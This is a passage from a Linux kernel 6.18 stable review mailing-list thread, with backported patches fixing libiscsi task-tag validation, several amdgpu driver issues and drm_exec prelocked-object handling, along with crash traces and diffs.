[ 6.254251] R13: 0000000000000000 R14: ffff88806c907c38 R15: 0000000000000000
[ 6.254549] FS: 0000000000000000(0000) GS:ffff8880d95bc000(0000) knlGS:0000000000000000
[ 6.254887] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 6.255140] CR2: 00007fc393e8ffc0 CR3: 0000000005252006 CR4: 0000000000770ef0
[ 6.255439] PKRU: 55555554
[ 6.255564] Call Trace:
[ 6.255674] <IRQ>
[ 6.255768] __iscsi_complete_pdu+0x18bf/0x22a0
[ 6.256733] iscsi_complete_pdu+0x54/0xa0
[ 6.256905] iscsi_tcp_data_recv_done+0xf4/0x250
[ 6.257103] iscsi_tcp_recv_skb+0x31e/0xec0
[ 6.257680] iscsi_sw_tcp_recv+0x12f/0x390
[ 6.258061] __tcp_read_sock+0x1ab/0x810
[ 6.258853] iscsi_sw_tcp_data_ready+0x18b/0x510
[ 6.259808] tcp_data_queue+0x1f13/0x4cd0
[ 6.260567] tcp_rcv_established+0x8a5/0x3a00
[ 6.261931] tcp_v4_do_rcv+0x449/0x960
[ 6.262269] tcp_v4_rcv+0x2245/0x3bc0
Fixes: 8afa1439fcff ("[SCSI] libiscsi: handle immediate command rejections")
Cc: stable@vger.kernel.org
Reviewed-by: Mike Christie <michael.christie@oracle.com>
Signed-off-by: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
Link: https://patch.msgid.link/20261007015842.634893-3-yhlee@isslab.korea.ac.kr
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/scsi/libiscsi.c | 8 +++++---
1 file changed, 5 insertions(+), 3 deletions(-)
--- a/drivers/scsi/libiscsi.c
+++ b/drivers/scsi/libiscsi.c
@@ -1142,13 +1142,15 @@ static int iscsi_handle_reject(struct is
spin_unlock(&conn->session->frwd_lock);
spin_lock(&conn->session->back_lock);
} else {
- struct iscsi_task *task;
+ struct iscsi_task *task = NULL;
/*
* Our nop as ping got dropped. We know the target
* and transport are ok so just clean up
*/
- task = iscsi_itt_to_task(conn, rejected_pdu.itt);
- if (!task) {
+ if (!iscsi_verify_itt(conn, rejected_pdu.itt))
+ task = iscsi_itt_to_task(conn, rejected_pdu.itt);
+ if (!task || task->state == ISCSI_TASK_FREE ||
+ task->sc) {
iscsi_conn_printk(KERN_ERR, conn,
"Invalid pdu reject. Could "
"not lookup rejected task.\n");
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 102/193] scsi: libiscsi: Validate the task named by a management response
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (100 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 101/193] scsi: libiscsi: Validate the ITT reflected in a Reject PDU Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 103/193] drm/amd/pm: add zero fan stop temperature support on smu 14.0.2 Greg Kroah-Hartman
` (101 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Mike Christie, Yehyeong Lee,
Martin K. Petersen (Oracle)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
commit 11bffcd9cb346732eab2914ef44fe777a3f0b585 upstream.
__iscsi_complete_pdu() fetches the task for five response types from one
place and checks only that the index resolved:
case ISCSI_OP_LOGOUT_RSP:
case ISCSI_OP_LOGIN_RSP:
case ISCSI_OP_TEXT_RSP:
case ISCSI_OP_SCSI_TMFUNC_RSP:
case ISCSI_OP_NOOP_IN:
task = iscsi_itt_to_task(conn, hdr->itt);
if (!task)
return ISCSI_ERR_BAD_ITT;
iscsi_itt_to_task() bounds the index against cmds_max and looks at
nothing else, so a target can name any slot in the pool, including one
that has never been used. task->conn is then NULL, and both
iscsi_nop_out_rsp() and iscsi_complete_task() dereference it. One
unsolicited NOP-In is enough; a Text Response carrying the same ITT
crashes in iscsi_complete_task() instead.
Require the task to be in flight and not a SCSI command, the way
iscsi_itt_to_ctask() does for the command opcodes.
[ 6.298634] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI
[ 6.298642] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]
[ 6.298652] CPU: 1 UID: 0 PID: 111 Comm: iscsistart Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy)
[ 6.298654] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 6.298656] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160
[ 6.298691] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00
[ 6.298698] RSP: 0018:ffff88806c907be8 EFLAGS: 00010206
[ 6.298701] RAX: dffffc0000000000 RBX: ffff888006116800 RCX: 0000000000000020
[ 6.298702] RDX: 000000000000000c RSI: ffff88800525d578 RDI: 0000000000000060
[ 6.298703] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 6.298706] R10: 0000000000000020 R11: 0000000000000000 R12: 0000000000000000
[ 6.298706] R13: 000000000000002e R14: ffff8880056eb440 R15: ffff888006116800
[ 6.298707] FS: 00007fc02d1c2740(0000) GS:ffff8880b29bc000(0000) knlGS:0000000000000000
[ 6.298710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 6.298711] CR2: 000055fe3b56ddf8 CR3: 00000000053b9004 CR4: 0000000000770ef0
[ 6.298712] PKRU: 55555554
[ 6.298713] Call Trace:
[ 6.298714] <IRQ>
[ 6.298714] __iscsi_complete_pdu+0x13a8/0x22a0
[ 6.298758] iscsi_complete_pdu+0x54/0xa0
[ 6.298759] iscsi_tcp_hdr_recv_done+0x870/0x2c80
[ 6.298778] iscsi_tcp_recv_skb+0x31e/0xec0
[ 6.298800] iscsi_sw_tcp_recv+0x12f/0x390
[ 6.298804] __tcp_read_sock+0x1ab/0x810
[ 6.298812] iscsi_sw_tcp_data_ready+0x18b/0x510
[ 6.298814] tcp_rcv_established+0x1f56/0x3a00
[ 6.298842] tcp_v4_do_rcv+0x449/0x960
[ 6.298847] tcp_v4_rcv+0x2245/0x3bc0
Fixes: 7996a778ff8c ("[SCSI] iscsi: add libiscsi")
Cc: stable@vger.kernel.org
Reviewed-by: Mike Christie <michael.christie@oracle.com>
Signed-off-by: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
Link: https://patch.msgid.link/20261007015842.634893-4-yhlee@isslab.korea.ac.kr
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/scsi/libiscsi.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/drivers/scsi/libiscsi.c
+++ b/drivers/scsi/libiscsi.c
@@ -1286,7 +1286,7 @@ int __iscsi_complete_pdu(struct iscsi_co
case ISCSI_OP_SCSI_TMFUNC_RSP:
case ISCSI_OP_NOOP_IN:
task = iscsi_itt_to_task(conn, hdr->itt);
- if (!task)
+ if (!task || task->state == ISCSI_TASK_FREE || task->sc)
return ISCSI_ERR_BAD_ITT;
break;
default:
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 103/193] drm/amd/pm: add zero fan stop temperature support on smu 14.0.2
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (101 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 102/193] scsi: libiscsi: Validate the task named by a management response Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 104/193] drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang Greg Kroah-Hartman
` (100 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Kenneth Feng, Kevin Wang,
Alex Deucher
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kenneth Feng <kenneth.feng@amd.com>
commit a2eae9f4fa1b07f8e6e61b48931228da051943f0 upstream.
add zero fan stop temperature support on smu 14.0.2
Closes: https://gitlab.freedesktop.org/drm/amd/-/work_items/5905
Signed-off-by: Kenneth Feng <kenneth.feng@amd.com>
Reviewed-by: Kevin Wang <kevin.wang@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit f990c94a2633d0ead477eb1b174e254a6d292e66)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/pm/swsmu/smu14/smu_v14_0_2_ppt.c | 55 ++++++++++++++++++-
1 file changed, 54 insertions(+), 1 deletion(-)
--- a/drivers/gpu/drm/amd/pm/swsmu/smu14/smu_v14_0_2_ppt.c
+++ b/drivers/gpu/drm/amd/pm/swsmu/smu14/smu_v14_0_2_ppt.c
@@ -80,6 +80,7 @@
#define PP_OD_FEATURE_FAN_TARGET_TEMPERATURE 9
#define PP_OD_FEATURE_FAN_MINIMUM_PWM 10
#define PP_OD_FEATURE_FAN_ZERO_RPM_ENABLE 11
+#define PP_OD_FEATURE_FAN_ZERO_RPM_STOP_TEMP 12
static struct cmn2asic_msg_mapping smu_v14_0_2_message_map[SMU_MSG_MAX_COUNT] = {
MSG_MAP(TestMessage, PPSMC_MSG_TestMessage, 1),
@@ -1034,6 +1035,10 @@ static void smu_v14_0_2_get_od_setting_l
od_min_setting = overdrive_lowerlimits->FanZeroRpmEnable;
od_max_setting = overdrive_upperlimits->FanZeroRpmEnable;
break;
+ case PP_OD_FEATURE_FAN_ZERO_RPM_STOP_TEMP:
+ od_min_setting = pptable->SkuTable.MsgLimits.FanStopTempMin;
+ od_max_setting = pptable->SkuTable.MsgLimits.FanStopTempMax;
+ break;
default:
od_min_setting = od_max_setting = INT_MAX;
break;
@@ -1330,6 +1335,24 @@ static int smu_v14_0_2_print_clk_levels(
min_value, max_value);
break;
+ case SMU_OD_FAN_ZERO_RPM_STOP_TEMP:
+ if (!smu_v14_0_2_is_od_feature_supported(smu,
+ PP_OD_FEATURE_ZERO_FAN_BIT))
+ break;
+
+ size += sysfs_emit_at(buf, size, "FAN_ZERO_RPM_STOP_TEMPERATURE:\n");
+ size += sysfs_emit_at(buf, size, "%d\n",
+ (int)od_table->OverDriveTable.FanZeroRpmStopTemp);
+
+ size += sysfs_emit_at(buf, size, "%s:\n", "OD_RANGE");
+ smu_v14_0_2_get_od_setting_limits(smu,
+ PP_OD_FEATURE_FAN_ZERO_RPM_STOP_TEMP,
+ &min_value,
+ &max_value);
+ size += sysfs_emit_at(buf, size, "ZERO_RPM_STOP_TEMPERATURE: %u %u\n",
+ min_value, max_value);
+ break;
+
case SMU_OD_RANGE:
if (!smu_v14_0_2_is_od_feature_supported(smu, PP_OD_FEATURE_GFXCLK_BIT) &&
!smu_v14_0_2_is_od_feature_supported(smu, PP_OD_FEATURE_UCLK_BIT) &&
@@ -2317,7 +2340,9 @@ static void smu_v14_0_2_set_supported_od
OD_OPS_SUPPORT_FAN_MINIMUM_PWM_RETRIEVE |
OD_OPS_SUPPORT_FAN_MINIMUM_PWM_SET |
OD_OPS_SUPPORT_FAN_ZERO_RPM_ENABLE_RETRIEVE |
- OD_OPS_SUPPORT_FAN_ZERO_RPM_ENABLE_SET;
+ OD_OPS_SUPPORT_FAN_ZERO_RPM_ENABLE_SET |
+ OD_OPS_SUPPORT_FAN_ZERO_RPM_STOP_TEMP_RETRIEVE |
+ OD_OPS_SUPPORT_FAN_ZERO_RPM_STOP_TEMP_SET;
}
static int smu_v14_0_2_get_overdrive_table(struct smu_context *smu,
@@ -2398,6 +2423,8 @@ static int smu_v14_0_2_set_default_od_se
user_od_table_bak.OverDriveTable.FanMinimumPwm;
user_od_table->OverDriveTable.FanZeroRpmEnable =
user_od_table_bak.OverDriveTable.FanZeroRpmEnable;
+ user_od_table->OverDriveTable.FanZeroRpmStopTemp =
+ user_od_table_bak.OverDriveTable.FanZeroRpmStopTemp;
}
smu_v14_0_2_set_supported_od_feature_mask(smu);
@@ -2452,6 +2479,11 @@ static int smu_v14_0_2_od_restore_table_
boot_overdrive_table->OverDriveTable.FanZeroRpmEnable;
od_table->OverDriveTable.FeatureCtrlMask |= BIT(PP_OD_FEATURE_ZERO_FAN_BIT);
break;
+ case PP_OD_EDIT_FAN_ZERO_RPM_STOP_TEMP:
+ od_table->OverDriveTable.FanZeroRpmStopTemp =
+ boot_overdrive_table->OverDriveTable.FanZeroRpmStopTemp;
+ od_table->OverDriveTable.FeatureCtrlMask |= BIT(PP_OD_FEATURE_ZERO_FAN_BIT);
+ break;
case PP_OD_EDIT_ACOUSTIC_LIMIT:
od_table->OverDriveTable.AcousticLimitRpmThreshold =
boot_overdrive_table->OverDriveTable.AcousticLimitRpmThreshold;
@@ -2758,6 +2790,27 @@ static int smu_v14_0_2_od_edit_dpm_table
od_table->OverDriveTable.FeatureCtrlMask |= BIT(PP_OD_FEATURE_ZERO_FAN_BIT);
break;
+ case PP_OD_EDIT_FAN_ZERO_RPM_STOP_TEMP:
+ if (!smu_v14_0_2_is_od_feature_supported(smu, PP_OD_FEATURE_ZERO_FAN_BIT)) {
+ dev_warn(adev->dev, "Zero RPM setting not supported!\n");
+ return -ENOTSUPP;
+ }
+
+ smu_v14_0_2_get_od_setting_limits(smu,
+ PP_OD_FEATURE_FAN_ZERO_RPM_STOP_TEMP,
+ &minimum,
+ &maximum);
+ if (input[0] < minimum ||
+ input[0] > maximum) {
+ dev_info(adev->dev, "zero RPM stop temperature setting(%ld) must be within [%d, %d]!\n",
+ input[0], minimum, maximum);
+ return -EINVAL;
+ }
+
+ od_table->OverDriveTable.FanZeroRpmStopTemp = input[0];
+ od_table->OverDriveTable.FeatureCtrlMask |= BIT(PP_OD_FEATURE_ZERO_FAN_BIT);
+ break;
+
case PP_OD_RESTORE_DEFAULT_TABLE:
if (size == 1) {
ret = smu_v14_0_2_od_restore_table_single(smu, input[0]);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 104/193] drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (102 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 103/193] drm/amd/pm: add zero fan stop temperature support on smu 14.0.2 Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 105/193] drm/amdgpu: dont drop the runtime PM reference twice in amdgpu_gpr Greg Kroah-Hartman
` (99 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Alex Deucher, Timur Kristóf
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Timur Kristóf <timur.kristof@gmail.com>
commit 752480ad62964edf0254e151110d3e53a7cb37de upstream.
SDMA can randomly hang on Polaris 10. Hard to reproduce,
but has been occurring sporadically in the Mesa CI
on the RADV Polaris 10 job even when Mesa isn't using
the SDMA engine.
When Mesa actually uses the SDMA on Polaris, the hang
becomes more frequent and the reproduction rate goes up
significantly in the CI system.
We don't know why the hangs occur, but it seems
that inserting a single NOP packet before each
POLL_REGMEM and FENCE packet works around it.
At the moment it's unclear which GPUs are affected,
so let's apply this to SDMA 3.x for now.
Note that this issue is not documented or acknowledged by AMD.
Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Timur Kristóf <timur.kristof@gmail.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit c343a27ed90823d08de125f7c447d96d056b75d9)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 25 +++++++++++++++++++++----
1 file changed, 21 insertions(+), 4 deletions(-)
--- a/drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c
+++ b/drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c
@@ -457,6 +457,9 @@ static void sdma_v3_0_ring_emit_hdp_flus
else
ref_and_mask = REG_SET_FIELD(ref_and_mask, GPU_HDP_FLUSH_DONE, SDMA1, 1);
+ /* Hang workaround */
+ amdgpu_ring_write(ring, SDMA_PKT_NOP_HEADER_OP(SDMA_OP_NOP));
+
amdgpu_ring_write(ring, SDMA_PKT_HEADER_OP(SDMA_OP_POLL_REGMEM) |
SDMA_PKT_POLL_REGMEM_HEADER_HDP_FLUSH(1) |
SDMA_PKT_POLL_REGMEM_HEADER_FUNC(3)); /* == */
@@ -484,6 +487,10 @@ static void sdma_v3_0_ring_emit_fence(st
unsigned flags)
{
bool write64bit = flags & AMDGPU_FENCE_FLAG_64BIT;
+
+ /* Hang workaround */
+ amdgpu_ring_write(ring, SDMA_PKT_NOP_HEADER_OP(SDMA_OP_NOP));
+
/* write the fence */
amdgpu_ring_write(ring, SDMA_PKT_HEADER_OP(SDMA_OP_FENCE));
amdgpu_ring_write(ring, lower_32_bits(addr));
@@ -492,7 +499,11 @@ static void sdma_v3_0_ring_emit_fence(st
/* optionally write high bits as well */
if (write64bit) {
+ /* Hang workaround */
+ amdgpu_ring_write(ring, SDMA_PKT_NOP_HEADER_OP(SDMA_OP_NOP));
+
addr += 4;
+
amdgpu_ring_write(ring, SDMA_PKT_HEADER_OP(SDMA_OP_FENCE));
amdgpu_ring_write(ring, lower_32_bits(addr));
amdgpu_ring_write(ring, upper_32_bits(addr));
@@ -1033,6 +1044,9 @@ static void sdma_v3_0_ring_emit_pipeline
uint32_t seq = ring->fence_drv.sync_seq;
uint64_t addr = ring->fence_drv.gpu_addr;
+ /* Hang workaround */
+ amdgpu_ring_write(ring, SDMA_PKT_NOP_HEADER_OP(SDMA_OP_NOP));
+
/* wait for idle */
amdgpu_ring_write(ring, SDMA_PKT_HEADER_OP(SDMA_OP_POLL_REGMEM) |
SDMA_PKT_POLL_REGMEM_HEADER_HDP_FLUSH(0) |
@@ -1061,6 +1075,9 @@ static void sdma_v3_0_ring_emit_vm_flush
{
amdgpu_gmc_emit_flush_gpu_tlb(ring, vmid, pd_addr);
+ /* Hang workaround */
+ amdgpu_ring_write(ring, SDMA_PKT_NOP_HEADER_OP(SDMA_OP_NOP));
+
/* wait for flush */
amdgpu_ring_write(ring, SDMA_PKT_HEADER_OP(SDMA_OP_POLL_REGMEM) |
SDMA_PKT_POLL_REGMEM_HEADER_HDP_FLUSH(0) |
@@ -1563,11 +1580,11 @@ static const struct amdgpu_ring_funcs sd
.get_wptr = sdma_v3_0_ring_get_wptr,
.set_wptr = sdma_v3_0_ring_set_wptr,
.emit_frame_size =
- 6 + /* sdma_v3_0_ring_emit_hdp_flush */
+ 6 + 1 + /* sdma_v3_0_ring_emit_hdp_flush */
3 + /* hdp invalidate */
- 6 + /* sdma_v3_0_ring_emit_pipeline_sync */
- VI_FLUSH_GPU_TLB_NUM_WREG * 3 + 6 + /* sdma_v3_0_ring_emit_vm_flush */
- 10 + 10 + 10, /* sdma_v3_0_ring_emit_fence x3 for user fence, vm fence */
+ 6 + 1 + /* sdma_v3_0_ring_emit_pipeline_sync */
+ VI_FLUSH_GPU_TLB_NUM_WREG * 3 + 6 + 1 + /* sdma_v3_0_ring_emit_vm_flush */
+ (10 + 1) * 3, /* sdma_v3_0_ring_emit_fence x3 for user fence, vm fence */
.emit_ib_size = 7 + 6, /* sdma_v3_0_ring_emit_ib */
.emit_ib = sdma_v3_0_ring_emit_ib,
.emit_fence = sdma_v3_0_ring_emit_fence,
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 105/193] drm/amdgpu: dont drop the runtime PM reference twice in amdgpu_gpr
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (103 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 104/193] drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 106/193] drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES Greg Kroah-Hartman
` (98 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Alex Deucher, Jesse Zhang
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jesse Zhang <Jesse.Zhang@amd.com>
commit de9f6bcdb44f0e410031002e2f103826ea6b6259 upstream.
amdgpu_debugfs_gpr_read() drops its runtime PM reference right after
reading the wave registers. When copying them to userspace fails, it
jumps to the err label, which drops the reference a second time. A read
into a bad buffer on Navi31 either steals a reference somebody else
holds (power/runtime_usage goes from 1 to 0) or underflows the count:
amdgpu 0000:03:00.0: Runtime PM usage count underflow!
The registers are already in the kernel buffer at that point, so finish
the hardware access first and copy the buffer with a single
copy_to_user() instead of the put_user() loop with its own error path.
Fixes: 9eee152aab56 ("drm/amdgpu/debugfs: fix ref count leak when pm_runtime_get_sync fails")
Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Jesse Zhang <Jesse.Zhang@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit 31035bbd74f7c3e10c163db875b8e67f8b50ee6a)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_debugfs.c | 21 +++------------------
1 file changed, 3 insertions(+), 18 deletions(-)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_debugfs.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_debugfs.c
@@ -1164,7 +1164,6 @@ static ssize_t amdgpu_debugfs_gpr_read(s
{
struct amdgpu_device *adev = f->f_inode->i_private;
int r;
- ssize_t result = 0;
uint32_t offset, se, sh, cu, wave, simd, thread, bank, *data;
if (size > 4096 || size & 3 || *pos & 3)
@@ -1209,25 +1208,11 @@ static ssize_t amdgpu_debugfs_gpr_read(s
pm_runtime_mark_last_busy(adev_to_drm(adev)->dev);
pm_runtime_put_autosuspend(adev_to_drm(adev)->dev);
+ amdgpu_virt_disable_access_debugfs(adev);
- while (size) {
- uint32_t value;
-
- value = data[result >> 2];
- r = put_user(value, (uint32_t *)buf);
- if (r) {
- amdgpu_virt_disable_access_debugfs(adev);
- goto err;
- }
-
- result += 4;
- buf += 4;
- size -= 4;
- }
-
+ r = copy_to_user(buf, data, size) ? -EFAULT : size;
kfree(data);
- amdgpu_virt_disable_access_debugfs(adev);
- return result;
+ return r;
err:
pm_runtime_put_autosuspend(adev_to_drm(adev)->dev);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 106/193] drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (104 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 105/193] drm/amdgpu: dont drop the runtime PM reference twice in amdgpu_gpr Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 107/193] drm/exec: dont immediately add prelocked obj to array of locked objs Greg Kroah-Hartman
` (97 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jesse Zhang, Christian König,
Alex Deucher
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jesse Zhang <Jesse.Zhang@amd.com>
commit d65a459dbc9a6c3b051e22c96f73598e34b31bfc upstream.
The uapi documents drm_amdgpu_gem_list_handles_entry.alignment as
"physical start_addr alignment in bytes", and GEM_OP
GET_GEM_CREATE_INFO returns the same value in bytes, but
GEM_LIST_HANDLES returns tbo.page_alignment, which is in pages. For a BO
created with a 64 KiB alignment on navi31:
GET_GEM_CREATE_INFO: alignment=65536
GEM_LIST_HANDLES: alignment=16
so a user such as CRIU that recreates BOs from this list uses the wrong
alignment. Convert it to bytes.
Fixes: f9db1fc52ceb ("drm/amdgpu: Add ioctl to get all gem handles for a process")
Signed-off-by: Jesse Zhang <Jesse.Zhang@amd.com>
Reviewed-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit aa4493ae949c13e79aba0731394dd7a7e431342b)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c
@@ -1217,7 +1217,7 @@ int amdgpu_gem_list_handles_ioctl(struct
bo_entry->alloc_flags = bo->flags & AMDGPU_GEM_CREATE_SETTABLE_MASK;
bo_entry->preferred_domains = bo->preferred_domains;
bo_entry->gem_handle = id;
- bo_entry->alignment = bo->tbo.page_alignment;
+ bo_entry->alignment = (u64)bo->tbo.page_alignment << PAGE_SHIFT;
if (bo->tbo.base.import_attach)
bo_entry->flags |= AMDGPU_GEM_LIST_HANDLES_FLAG_IS_IMPORT;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 107/193] drm/exec: dont immediately add prelocked obj to array of locked objs
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (105 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 106/193] drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 108/193] drm/i915/cx0_phy: Fix ARL-S host bridge detection Greg Kroah-Hartman
` (96 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Christian König, Vitaly Prosyak
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian König <ckoenig.leichtzumerken@gmail.com>
commit 26401a4999f1596a515b2e704e7066ac09306488 upstream.
When a contention is detected the drm_exec object grabs a reference to
the contended object, unlocks all other objects and pre-locks the
contended one before anything else.
The problem is that it is possible that this pre-locked object was about
to be destroyed and drm_exec is now holding the last reference to it.
So we never actually see this pre-locked object again to be explicitly
locked and so also never reserve a slot for a dma_fence object on it.
Should the driver now use drm_exec_for_each_locked_object() to add a new
fence to all locked objects we eventually see a warning or even a
BUG_ON() to prevent random memory corruption.
Fix this by keeping the prelocked object out of the array of locked objs
until it was explicitly mentioned by the driver again.
If the prelocked object is never mentioned again by the driver
just unlock and drop the reference at the end of the locking loop.
Signed-off-by: Christian König <christian.koenig@amd.com>
Reported-by: Vitaly Prosyak <vitaly.prosyak@amd.com>
Reviewed-by: Vitaly Prosyak <vitaly.prosyak@amd.com>
Tested-by: Vitaly Prosyak <vitaly.prosyak@amd.com>
Fixes: 09593216bff1 ("drm: execution context for GEM buffers v7")
CC: stable@vger.kernel.org # v6.6+
Link: https://lore.kernel.org/r/20261007124657.9664-1-christian.koenig@amd.com
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/drm_exec.c | 75 ++++++++++++++++++++++++++-------------------
include/drm/drm_exec.h | 15 +++++----
2 files changed, 53 insertions(+), 37 deletions(-)
--- a/drivers/gpu/drm/drm_exec.c
+++ b/drivers/gpu/drm/drm_exec.c
@@ -51,6 +51,16 @@
/* Dummy value used to initially enter the retry loop */
#define DRM_EXEC_DUMMY ((void *)~0)
+/* Unlock and put the prelocked obj */
+static void drm_exec_drop_prelocked(struct drm_exec *exec)
+{
+ if (exec->prelocked) {
+ dma_resv_unlock(exec->prelocked->resv);
+ drm_gem_object_put(exec->prelocked);
+ exec->prelocked = NULL;
+ }
+}
+
/* Unlock all objects and drop references */
static void drm_exec_unlock_all(struct drm_exec *exec)
{
@@ -61,8 +71,7 @@ static void drm_exec_unlock_all(struct d
drm_gem_object_put(obj);
}
- drm_gem_object_put(exec->prelocked);
- exec->prelocked = NULL;
+ drm_exec_drop_prelocked(exec);
}
/**
@@ -121,6 +130,14 @@ EXPORT_SYMBOL(drm_exec_fini);
bool drm_exec_cleanup(struct drm_exec *exec)
{
if (likely(!exec->contended)) {
+
+ /*
+ * The contended and prelocked object might never be passed to
+ * drm_exec_lock_obj() again. This can happen when the object
+ * is about to be cleaned up and we now hold the last reference
+ * to it. Make sure that we don't unnecessarily keep it around.
+ */
+ drm_exec_drop_prelocked(exec);
ww_acquire_done(&exec->ticket);
return false;
}
